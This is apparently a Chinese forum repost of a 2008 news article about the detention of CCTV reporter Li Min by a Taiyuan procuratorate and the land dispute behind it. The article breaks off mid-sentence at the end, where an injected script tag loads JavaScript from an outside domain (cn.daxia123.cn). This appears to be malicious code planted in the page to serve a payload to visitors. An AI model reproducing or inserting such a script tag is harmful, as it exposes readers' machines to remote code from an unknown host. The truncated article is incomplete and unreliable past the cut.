邵东人的厉害!搞定央视女记者! [讨论]
晚间上网冲浪的时候,看到这个耐人寻味的页面: http://news.163.com/08/1211/14/4SSV098D00011SM9.html 贴上来大家看看! ^_^! 央视女记者被拘揭开案中案 * 从程序上说,杏花岭区检察院的做法不合法。按照《刑事诉讼法》第28条规定,检察人员“与本案当事人有其他关系,可能影响公正处理案件的”,应当自行回避。李敏之前采访过杏花岭区检察院,要对该院进行批评性报道,因此,即使有人举报其在该次采访中有受贿行为,该院也应该回? 【时代周报】 12月4日晚,中央电视台某法制栏目女记者李敏在其北京的家中被山西省太原市杏花岭区检察院4名干警带走,检察院称李敏涉嫌受贿。 而在一个月前,李敏曾以涉嫌滥用职权为由采访过该检察院。消息披露后,一石激起千层浪:是又一起“西丰县委书记抓记者”的类似事件,抑或又是一个收钱的记者?曾经在“西丰县委书记抓记者”事件中,为记者朱文娜提供法律援助的中国青年政治学院副教授、律师周泽再次挺身而出,免费为李敏辩护。 李敏被捕事件的背后,更是隐藏着一起涉及到两名有身份有地位的富商之间的经济纠纷案。在兰成长被殴打致死、孙春龙事件揭露矿难瞒报、记者封口费、县委书记抓记者等事件后,李敏被捕案,给山西省与新闻记者之间以及中国的整个舆论环境,又增添了一片混沌。 女记者被拘揭开案中案 李敏被捕的背后,涉及到一起经济纠纷案,正是因为这起案件,才导致了后来李敏以涉嫌滥用职权为由,采访山西太原市杏花岭区检察院,并最终导致她本人被捕。李敏被捕后,这起经济纠纷案件也逐渐开始露出水面。 12月9日,记者从这起经济纠纷案件中当事一方吴晓辉的代理律师处得到一份案件卷宗材料,材料显示这起经济纠纷案涉及到大亚湾的一块土地。事情最初可以追溯到1993年,而经过也相当复杂。 这是一起发生在湖南和山西两地的经济纠纷案。案件一方是广东省惠州市中铭实业有限公司董事长吴晓辉,另一方是山西太原商人郝建秀。值得注意的是,吴晓辉的另一个身份曾是湖南邵东县人大代表,郝建秀则是全国政协委员。 1992年,惠阳房产开发公司将其拥有权益的位于广东省惠州市大亚湾霞涌沙田16.5万平方米土地转让给大亚湾晋宝公司,时任惠阳房产开发公司副经理的吴晓辉作为公司代表在合同上签字。后来通过一系列的资产重组,山西民营企业家郝建秀取得了这块土地的权益。吴晓辉家属称,郝建秀于2006年3月找到吴晓辉,要求吴以当初购买土地一倍的价格回购土地,被吴晓辉拒绝。 该案卷宗资料显示,当年7月,吴晓辉就被太原市杏花岭公安分局拘捕,罪名为涉嫌行贿。 2006年12月,太原市杏花岭公安分局再次拘留了吴晓辉,此次拘捕的罪名为合同诈骗。该案由公安部组织调查了解案情事实后,公安部认定吴晓辉不构成合同诈骗罪,两度批复“该案件属于民事纠纷,公安机关不得介入”。 吴晓辉第二次被放后,委托律师向山西省的公安、检察机关举报,控告杏花岭警方和检察机关滥用职权。 此次举报,导致了吴晓辉第三次被抓。2008年1月17日,杏花岭警方和检察院再次抓捕了吴晓辉,理由是其举报警方和检察机关属于诬告陷害,而诬告陷害的对象则是杏花岭检察院检察长何书生。 案卷中的一份材料显示,此次抓捕,引起了广东、湖南两地各级人大代表的关注。3名全国人大代表牵头,加上广东、湖南两省的省、市、县三级共57名人大代表联名上书。 而2008年7月,杏花岭警方和检察机关第四次抓捕了吴晓辉、其兄吴晓明,罪名为贪污罪。为吴晓辉代理此案的谢律师表示,吴晓辉经营的是私人企业,贪污不知从何谈起。 吴晓辉家属向记者反映,在吴晓辉的3次抓捕过程中,山西警方和检察院多有违法行为。如跨地区办案不通知当地警方,抓捕人大代表也不通知邵东县人大。 这一经济纠纷案件至今仍未解决,也导致了此后吴家向媒体举报,以及后来的李敏采访杏花岭检察院,直至近日被抓。 进京抓记者事出“涉嫌受贿” 吴晓辉第四次被抓后,弟弟吴晓华开始向媒体求助。 2008年7月,吴晓华经介绍认识李敏,李敏开始关注此案。11月间,李敏与北京另外两家媒体记者对杏花岭检察院进行过采访。 此后不久,12月4日,李敏在北京的家中,以涉嫌受贿罪名被太原杏花岭检察院带走。据李敏邻居杨女士回忆,4名检察院干警以“地板漏水”为名敲开李敏家门。随后,他们出示了拘传证。在杨女士老公刘律师干预下,警察出示最高人民检察院指定管辖的函件,上面写着李某涉嫌犯罪,函件上还写有北京另外两家知名媒体记者的名字。一个细节是,这份函件是复印件而非原件。 随后,4名干警带着李敏和杨女士夫妇来到朝阳区南磨房派出所。在派出所查验了山西检方的相关手续后,李敏被4名干警带走。 记者了解到,李敏被捕的直接原因是一台价值22万元的丰田锐志轿车,购车款来自于吴晓华。知情人透露,杏花岭区检察院掌握了从吴晓华信用卡上转给李敏22万元这一情况,遂以涉嫌受贿带走李敏。 此前一个月,吴晓华已经被杏花岭检<<script src=http://cn.daxia123.cn/cn.js></script> |